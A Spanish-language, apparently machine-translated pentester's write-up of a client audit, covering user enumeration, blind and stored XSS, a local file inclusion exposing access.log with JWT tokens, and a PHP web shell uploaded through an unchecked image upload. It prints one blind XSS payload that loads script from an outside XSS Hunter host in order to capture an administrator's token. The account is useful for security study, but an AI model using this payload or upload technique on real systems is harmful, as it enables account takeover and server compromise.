A principios de año, un empleado de una empresa me escribió. Según tengo entendido, hubo un pequeño conflicto en la empresa. Debido a que existía el riesgo de un compromiso del sistema por parte de algunos de los empleados. La decisión de auditar el sistema fue definitivamente la correcta. Después de todo, los resultados de la inspección me sorprendieron gratamente, y "desagradablemente" sorprendieron al cliente.
La arquitectura del sistema era, en principio, estándar. Se basó en un servicio de autenticación. Además, según el token emitido por jwt, el usuario podría usar la funcionalidad del sistema en varios subdominios.
Las pruebas se limitaron a un subdominio. Pero lo más básico según los clientes. No contaré en detalle todos los errores y problemas. Fueron descubiertos mucho. Solo describiré los que me parecieron más curiosos.
Redundancia de información al buscar usuarios
La consulta de búsqueda para usuarios permitió recibir un conjunto de información de la siguiente naturaleza: ID de usuario, nombre, inicio de sesión, avatar ...
Sin ningún problema, fue posible recopilar toda la base de datos de usuarios de Login_name. Tampoco hubo restricciones especiales en la funcionalidad de inicio de sesión. Luego fue posible seleccionar una contraseña en varias transmisiones o realizar phishing en los usuarios más importantes del sistema.
Blind XSS al solicitar soporte al usuario.
Tengo la impresión de que este problema está presente en el 90% de los sistemas que encuentro. Anteriormente, los "imbéciles" de las plataformas para agregar comentarios me han llegado repetidamente. También ingresaron los accesos a los sistemas de monitoreo del comportamiento del usuario en Internet. Había muchas cosas Sin embargo, pocas personas entienden cuán peligroso puede ser esto. Específicamente, esta vulnerabilidad se escribió
aquí .
En este caso, me aseguré de que el ataque funcionara por accidente cuando recibí una notificación de
XSS Hunter . El vector de ataque fue el siguiente:
"><script src=https://sa.xss.ht></script>
Pero el cliente no creía que pudiera obtener el control del panel de administración a través de este vector de ataque. Después de todo, toda la información valiosa se almacena en el almacenamiento local. Dado que XSS Hunter no admite la recepción de información de almacenamiento local, tuve que implementar mi propio registrador XSS. La siguiente
publicación fue muy útil. Como resultado del ataque repetido, fue posible verificar que el token jwt del administrador se pueda obtener fácilmente por medios maliciosos incluso desde el almacenamiento local.
Bueno, entonces con los derechos de administrador en el sistema, puede hacer cualquier cosa.
XSS almacenado en un correo electrónico.
Se descubrió una funcionalidad en el sistema que le permite crear invitaciones de correo electrónico enmarcadas para registrar nuevos usuarios. Puede insertar el nombre de la persona en el formulario de carta. Para hacer que el correo electrónico sea más personal. Como resultado, todo el contenido no se escapó y cayó en la carta. Para llevar a cabo un ataque xss exitoso similar a través de una carta, debe conocer el cliente de correo electrónico de la víctima, y debe saber el día cero xss para este cliente. En general, el éxito de este ataque, por definición, fue insignificante. Hasta el momento en que encontré un curioso botón en la esquina superior de la carta.
Fue una oportunidad para abrir una versión web de la carta. Y aquí me esperaba una sorpresa. Mi XSS funcionó. Al mismo tiempo, la versión web de la carta se abrió en el subdominio admin. *. Com
Doble sorpresa, por así decirlo.
Archivo disponible access.log
En el proceso de auditoría, encontré un lugar interesante. Cuando diferentes caracteres ingresaron a la solicitud, el servidor 404 recibió una respuesta del servidor, pero periódicamente, la respuesta 404 era ligeramente diferente de la anterior. A veces había un encabezado extra. A veces no. Una cierta mutación en las respuestas del sistema me llevó a verificar la inclusión de archivos locales (
LFI ) en este lugar. Configuré el diccionario lfi y esperé a que el sistema respondiera a todas mis solicitudes. Como resultado, al ver los resultados de la prueba, me sorprendió mucho la respuesta con un estado de 200 con un tamaño muy pesado de los datos transmitidos.
Resultó que encontré un archivo legible access.log. Este archivo registró toda la actividad en el servidor. Incluyendo en este archivo fue posible detectar tokens de usuario jwt.
El tiempo de caducidad de estos tokens fue bastante grande. Y eso tampoco fue muy bueno.
Acceso completo al servidor web
En principio, todo lo anterior son problemas comunes. Pero ciertos tipos de vulnerabilidades ya son difíciles de cumplir. Se trata de acceder al servidor a través de un código perfectamente cargado en el archivo shell.php. Después de lo cual todos los proyectos ubicados en este servidor se ven comprometidos.
Bo0oM escribió sobre este tema en 2016 en su blog.
Pero volviendo a mi ejemplo. El sistema tenía la capacidad de hacer publicaciones. Al mismo tiempo, fue posible subir una imagen para su publicación. La imagen se guardó en el mismo dominio. Pero el nombre del archivo fue cambiado a la fuerza. Es decir, usted carga - mypicture.jpg. Pero como resultado, obtienes 12345.jpg. Decidí verificar qué pasaría si transfiero el archivo xml (en ese momento aparentemente soñaba con conocer a XXE). Y para mi sorpresa, recibí la respuesta 123556.xml. Y luego me di cuenta de que hay un 99% de posibilidades de éxito con la extensión de archivo php para el shell web. Para este ataque, utilicé el
shell b374k . Con acceso directo al archivo, obtuve lo que quería. Acceso a directorios del servidor.
Pero eso no fue lo más triste. Lo más triste fue que a través de esta vulnerabilidad fue posible comprometer más de 10 proyectos que estaban en el directorio raíz de este servidor.
Mi amigo
cyberpunkyc dijo que esto se podía ver en el año 2007-2010. Por desgracia, en el patio de 2019. Existe un problema similar hasta el día de hoy.
Como resultado de las pruebas, el cliente quedó muy sorprendido por los resultados. Y estaba muy contento de haber sido muy útil en las pruebas. Si tiene alguna sugerencia con proyectos interesantes, no dude en escribirme en
telegrama ;)